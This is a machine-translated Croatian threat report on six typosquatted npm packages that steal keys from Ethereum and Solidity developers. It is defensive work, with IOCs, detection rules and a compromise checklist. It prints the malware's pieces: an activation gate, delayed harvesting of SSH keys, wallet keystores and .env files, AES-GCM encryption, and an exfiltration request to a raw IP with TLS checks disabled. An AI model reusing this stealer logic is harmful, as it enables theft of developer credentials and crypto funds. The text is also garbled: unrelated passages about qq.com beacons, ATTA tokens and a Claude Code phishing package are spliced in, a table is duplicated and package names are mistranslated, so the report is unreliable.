EVMDeFi npm tipografski napad krade ključeve programera

EVM/DeFi npm tipografski napad krade ključeve programera

TL; DR

6. svibnja 2026., jedan npm izdavač, namikazesarada010206, lansirao je šest zlonamjernih paketa usmjerenih na ekosustav razvojnih programera Ethereuma, Solidityja i DeFi-ja.

Paketi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsi web3-utils-core, koristili su uvjerljiva imena osmišljena da izgledaju kao pomoćne biblioteke za popularne Web3 alate.

Svih šest paketa sadržavalo je isto telemetry.js datoteka. Datoteka je bila identična po bajtovima u cijelom klasteru, s SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Zlonamjerni softver se ne izvršava prilikom instalacije. Nema preinstall or postinstall kuka. Umjesto toga, aktivira se kada se paket uvozi putem require().

Taj detalj je važan.

Implantat čeka dok programer zapravo ne upotrijebi paket. Zatim provjerava izgleda li radna stanica kao pravo razvojno okruženje za Ethereum / Solidity. Traži Alchemy ili Infura ključeve, privatne ključeve, mnemonike, deployer ključeve ili lokalni Foundry direktorij.

Ako se host podudara, kradljivac prikuplja SSH privatne ključeve, spremišta ključeva Foundry / Geth / Brownie novčanika, .env* datoteke i osjetljive varijable okruženja. Šifrira paket s AES-256-GCM-om koristeći čvrsto kodiranu lozinku i izvlači ga na sirovu IPv4 C2 krajnju točku s onemogućenom TLS provjerom.

Xygenijev sustav za rano upozoravanje na zlonamjerni softver (MEW) potvrdio je da je svih šest paketa zlonamjerno. Izvješće o uklanjanju iz registra npm-a je na čekanju.

Klaster: Šest paketa, jedan izdavač

Račun izdavača namikazesarada010206 bio je povezan s neprovjerenom Gmail adresom namikazesarada010206@gmail.com.

Kampanja se pojavila kao jednodnevni nalet publikacija 6. svibnja 2026. Svih šest paketa verzionirano je kao 1.0.0, nije imao nikakvih ovisnosti tijekom izvođenja i isporučio je samo tri datoteke:

package.json index.js telemetry.js

Također su deklarirali isto izvorno spremište:

https://github.com/harunosakura030303-maker/evmchain-config

Prva tri paketa su otkrivena MEW skenerima pri prvoj objavi. Preostala tri su prisilno označena nakon što su analitičari pregledali npm profil izdavača. Nakon što su isti bajtno identični telemetry.js potvrđeno je u cijelom klasteru, zatvoreni su kao zlonamjerni zbog konzistentnosti.

Paket Verzija Objavljeno u npm-u Ulaznica za MEW Presuda
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Zlonamjeran
viem-utils-core 1.0.0 2026-05-06 #51050 Zlonamjeran
hardhat-core-utils 1.0.0 2026-05-06 #51051 Zlonamjeran
evm-utils 1.0.0 2026-05-06 #51069 Zlonamjerno, po dosljednosti
ljevaonički alati 1.0.0 2026-05-06 #51071 Zlonamjerno, po dosljednosti
web3-utils-core 1.0.0 2026-05-06 #51070 Zlonamjerno, po dosljednosti

Strategija imenovanja je jednostavna, ali učinkovita.

Ovi paketi ne oponašaju točna imena uzvodnih programa. Umjesto toga koriste uvjerljive sufikse "uslužnih programa" kao što su -core, -utilsi -utils-coreZbog toga izgledaju kao prateće biblioteke koje bi programer očekivao vidjeti blizu Web3 alata.

Zlonamjerni paket Legitimna meta
viem-core viem, popularni Ethereum TypeScript klijent
viem-utils-core Viem
hardhat-core-utils zaštitna privjesnica, uobičajeno Solidity razvojno okruženje
evm-utils Generički EVM imenski prostor alata
ljevaonički alati ljevaonica, Solidityjev alatni lanac
web3-utils-core web3-utils, Web3.js pomoćnici

Ovo je obrazac „dodatnog paketa“: ne „Ja sam pravi paket“, već „Izgledam kao razuman pomagač oko pravog paketa“.

Za DeFi developere koji se brzo kreću, to je dovoljno da stvori rizik.

Što se događa kada se paket uveze

Lanac napada je mali, namjeran i usmjeren na kripto-razvojna okruženja.

Nema kuke za instalaciju. Umjesto toga, svaki paket uključuje index.js koji izvozi funkcionalnost stuba, a zatim učitava zlonamjerni telemetrijski modul.

require('./telemetry').init();

To znači da se zlonamjerni softver aktivira pri prvom uvozu.

To je operativno korisno za napadača. Mnogi skeneri i sandboxovi fokusiraju se na ponašanje tijekom instalacije. Ovaj paket čeka dok ga programer, skripta za izgradnju, testni paket ili runtime put zapravo ne upotrijebi.

Aktivacijska vrata: Aktiviraju se samo na pravim radnim stanicama Web3 programera

Najvažniji dio implantata su aktivacijska vrata.

Zlonamjerni softver provjerava varijable okruženja koje se obično nalaze na računalima programera Ethereuma / Solidityja:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Također provjerava je li Foundry instaliran:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ako nijedan uvjet nije istinit, funkcija vraća vrijednost i ne radi ništa.

To čini paket tišim u generičkim analitičkim okruženjima. Pješčanik bez Foundryja, Alchemy ključeva, Infura ključeva, privatnih ključeva ili mnemonika može izgledati bezopasno.

Na odgovarajućem hostu, zlonamjerni softver čeka 60 do 90 sekundi prije prikupljanja:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Kašnjenje smanjuje očitu korelaciju između uvoza i iznošenja. .unref() poziv također omogućuje host procesu normalan izlaz ako je paket uvezen u kratkotrajnoj skripti.

Ovo nije bučno ponašanje "smash-and-grab". To je ciljani kradljivac osmišljen da izbjegne pokretanje osim ako se razvojno okruženje ne isplati ukrasti.

Što kradljivac skuplja

Nakon što prođe aktivacijski krug, zlonamjerni softver prikuplja podatke iz izvora koji su najvažniji u Web3 razvoju: privatnih ključeva, spremišta ključeva novčanika, vjerodajnica za implementaciju, tajnih podataka u oblaku, npm tokena i konfiguracije lokalnog projekta.

izvor Što se prikuplja
process.env Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke
~/.foundry/keystore/* Datoteke pohrane ključeva Foundry novčanika
~/.ethereum/skladište ključeva/* Datoteke pohrane ključeva Geth novčanika
~/.brownie/računi/* Datoteke pohrane ključeva Brownie novčanika
${cwd}/.env Puni sadržaj datoteke
${cwd}/.env.local Puni sadržaj datoteke
${cwd}/.env.production Puni sadržaj datoteke
${cwd}/.env.development Puni sadržaj datoteke
os.naziv_host() Metapodaci hosta
kripto.randomUUID() Identifikator žrtve/sesije
Datum.sada() Vremenska oznaka prikupljanja
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA tokeni su:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nismo uspjeli potvrditi je li telemetrija bila vlastita analitika operatera ili zasebno monetizirani kanal. ATTA tokeni su isti u oba uzorka koja smo ispitali.

Skupina B: heibai

claude.hk OAuth Phishing + Otmica ANTHROPIC_BASE_URL-a

Uzorak od 1. travnja je grublji, raniji dio kampanje.

heibai:2.1.88-claude.hk-4 objavio je wuguoqiangvip28, račun kreiran 7. lipnja 2025. Paket se eksplicitno verzionirao protiv legitimne 2.1.88 Antropno oslobađanje.

Ne zamara se CA-cert MITM-om. Umjesto toga, laže korisniku o OAuth krajnjoj točki.

Zlonamjerni dodaci uz procurili izvorni kod Claude Code uključuju:

izvor Što se prikuplja
process.env Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke
~/.foundry/keystore/* Datoteke pohrane ključeva Foundry novčanika
~/.ethereum/skladište ključeva/* Datoteke pohrane ključeva Geth novčanika
~/.brownie/računi/* Datoteke pohrane ključeva Brownie novčanika
${cwd}/.env Puni sadržaj datoteke
${cwd}/.env.local Puni sadržaj datoteke
${cwd}/.env.production Puni sadržaj datoteke
${cwd}/.env.development Puni sadržaj datoteke
os.naziv_host() Metapodaci hosta
kripto.randomUUID() Identifikator žrtve/sesije
Datum.sada() Vremenska oznaka prikupljanja

Popis ciljeva je vrlo specifičan. Ovo nije generička krađa preglednika ili široko korištenje podataka s vjerodajnica. Namijenjen je programerima koji grade, testiraju, implementiraju ili upravljaju Ethereum aplikacijama.

Uključivanje Foundry, Geth i Brownie spremišta ključeva posebno je važno. Ove datoteke mogu predstavljati izravan pristup novčanicima ili identitetima implementacije. Ako ih napadač može upariti s lozinkama, mnemonicima ili tajnama okruženja, mogao bi premjestiti sredstva, lažno se predstavljati kao implementatori ili ugroziti operacije pametnih ugovora.

Šifriranje prije eksfiltracije

Zlonamjerni softver šifrira prikupljene podatke prije slanja.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Tvrđeno kodirana lozinka je:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Konačni korisni teret je zamotan kao JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Šifriranje samo po sebi ne čini zlonamjerni softver naprednijim. Međutim, otežava inspekciju mreže. Branitelj koji prati izlaz vidio bi JSON sadržaj, ali ne i ukradene ključeve, datoteke novčanika ili .env sadržaj bez ugrađene lozinke i logike dešifriranja.

Eksfiltracija na sirovi IPv4 C2

Put izvlačenja je čvrsto kodiran:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Zlonamjerni softver šalje podatke na:

https://76.13.37.80:8443/api/v1/telemetry

Dva detalja se ističu.

Prvo, C2 je sirova IPv4 adresa, a ne domena. To uklanja potrebu za registracijom domene i izbjegava neke detekcije temeljene na domeni.

Drugo, TLS provjera je onemogućena sa:

rejectUnauthorized: false

To omogućuje zlonamjernom softveru prihvaćanje bilo kojeg certifikata, uključujući samopotpisane certifikate. Drugim riječima, napadač dobiva šifrirani prijenos bez potrebe za valjanim javnim certifikatom.

Nema logike ponovnog pokušaja niti rezervnog hosta. Greške se tiho gutaju. To drži paket tihim ako je C2 izvan mreže ili nedostupan.

Zašto je ova kampanja važna

Većina zlonamjernih npm paketa usmjerenih na programere juri za širokim pristupnim podacima: npm tokenima, AWS ključevima, GitHub tokenima ili .npmrc slika.

Ova kampanja sužava cilj.

Traži znakove da stroj pripada Ethereum ili Solidity programeru. Zatim izvlači upravo onu imovinu koja je važna u tom okruženju: spremišta ključeva novčanika, privatne ključeve, mnemonike, ključeve implementatora, .env datoteke i SSH ključeve.

To čini kampanju opasnijom za Web3 timove nego generički npm kradljivac.

Uspješna infekcija mogla bi otkriti:

  • Novčanici za implementaciju
  • Administratorski ključevi pametnih ugovora
  • Ključevi RPC pružatelja usluga
  • Vjerodajnice za implementaciju u oblaku
  • npm tokeni za objavljivanje
  • SSH pristup razvojnoj ili izgradivoj infrastrukturi
  • Tajne projekta pohranjene u .env slika
  • Spremišta ključeva novčanika za Foundry, Geth ili Brownie

Nazivi paketa također pokazuju jasan socijalni inženjering. Ciljaju ekosustav Web3 programera putem poznatih naziva alata: viem, hardhat, foundry, evmi web3.

Akter ne mora kompromitirati stvarne projekte. Potreban im je samo programer koji će instalirati ono što izgleda kao razuman prateći paket.

Pokazatelji kompromitiranja i otkrivanja

Paketi i izdavač
Polje Još malo brojeva
npm izdavač namikazesarada010206
E-pošta izdavača namikazesarada010206@gmail.com
Email potvrđen Ne
SCM ovjeren Ne
Rezultat reputacije 1.0
Paketi viem-core, viem-utils-core, hardhat-core-utils, evm-utils, ljevaonica-utils, web3-utils-core
verzije Svi 1.0.0
Izvorni repozitorij https://github.com/harunosakura030303-maker/evmchain-config
Potvrđeno zlonamjerno Svih šest paketa
mreža
Tip Još malo brojeva
Krajnja točka C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 priključak 8443/tcp
Ponašanje TLS-a odbitiNeovlašteno: lažno
Shema korisnog tereta {"v":2,"iv": ,,d": ,"t": }
Datoteke i hashevi
Tip Još malo brojeva
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Izgled paketa package.json, index.js, telemetry.js
Broj datoteka 3
Približna ukupna veličina 3.4 KB

Signali aktivacije

Zlonamjerni softver provjerava ove varijable okruženja:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Također provjerava:

~/.foundry/

Ciljani putevi hosta

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regex kolekcije

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Bilješke o detekciji

Nekoliko pravila obuhvaća ovu kampanju bez potrebe za potpunom analizom ponašanja.

Prvo, skenirajte lockfiles za šest zlonamjernih naziva paketa:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Bilo koja utakmica u package-lock.json, yarn.lock, pnpm-lock.yaml, ili node_modules povijest treba tretirati kao ozbiljan događaj.

Drugo, pratite Node.js procese koji čitaju putanje spremišta ključeva novčanika:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ovo je rijetko legitimno ponašanje za paket uvezen kao pomoćna ovisnost. Posebno je sumnjivo kada ga prati odlazna mrežna aktivnost.

Treće, blokirajte ili upozorite na HTTPS veze kako biste:

76.13.37.80:8443

Pogotovo kada je put zahtjeva:

/api/v1/telemetry

Četvrto, potražite npm pakete koji kombiniraju ove osobine:

  • Novi ili izdavač s niskom reputacijom
  • Nepotvrđeni Gmail račun
  • Naziv paketa susjednog Web3-u
  • Nema smislene povijesti repozitorija
  • Raspored malog pakiranja
  • index.js koji učitava telemetriju ili pomoćnu datoteku
  • Nema ovisnosti o vremenu izvođenja
  • Osjetljiva kolekcija varijabli okruženja
  • Pristup pohrani ključeva novčanika

Ovaj obrazac je korisniji od jednog IOC-a jer sljedeći paket može promijeniti IP adresu, ali zadržati istu logiku ciljanja.

Kontrolna lista za odgovor na kompromis

Ako je programer koristio jedan od šest paketa i njegovo okruženje odgovaralo je aktivacijskim vratima, radnu stanicu treba tretirati kao kompromitiranu.

To uključuje strojeve s instaliranim Foundryjem, Alchemy ili Infura ključevima u okruženju, privatnim ključevima, mnemonicima ili ključevima deployera.

Preporučeni odgovor:

  • Isključite host s mreže.
  • sačuvati node_modules, datoteke zaključavanja, povijest ljuske i relevantni zapisnici za forenziku.
  • Rotirajte svaki SSH par ključeva ispod ~/.ssh/.
  • Rotirajte ključeve novčanika za svako spremište ključeva ispod ~/.foundry, ~/.ethereumi ~/.brownie.
  • Premjestite sredstva u nove novčanike.
  • Rotirajte svaku tajnu pohranjenu u .env* datoteke u repozitorijima u kojima je programer radio.
  • Rotirajte tajne okruženja koje odgovaraju regularnom izrazu kolekcije, uključujući AWS ključeve, npm tokene, tokene za implementaciju, API ključeve, privatne ključeve, sjemenske vrijednosti i mnemonike.
  • Pratite aktivnosti u oblaku, npm-u, GitHubu, RPC pružatelju i blockchainu od prve instalacije paketa.
  • Ponovno napravite sliku radne stanice prije ponovne upotrebe.

Što bi branitelji trebali ponijeti sa sobom

Ova kampanja pokazuje kako se npm typosquatting razvija oko ekosustava visokovrijednih programera.

Akteru nije bila potrebna upornost. Nije im trebalo zamagljivanje. Nije im čak trebalo ni izvršavanje za vrijeme instalacije.

Umjesto toga, oslanjali su se na tri stvari:

  • Vjerojatni nazivi Web3 paketa
  • Aktivacija samo na pravim strojevima za razvoj kriptovaluta
  • Izravna krađa datoteka i tajni koje su najvažnije programerima Ethereuma

Zbog toga je kampanju lako propustiti pri širokom skeniranju i opasna je kada se nađe u pravom okruženju.

Za Web3 timove, lekcija je jasna: tretirajte nazive ovisnosti kao dio svog modela prijetnje. Paket koji izgleda kao bezopasni pomagač i dalje može postati najkraći put do kompromitacije novčanika.

Prijavljeno npm registru. Ažurirat ćemo ovu objavu kada se uklone izdavački račun i paketi.

alati-za-analizu-sastava-softvera-sca-tools
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

s Xygeni paketom proizvoda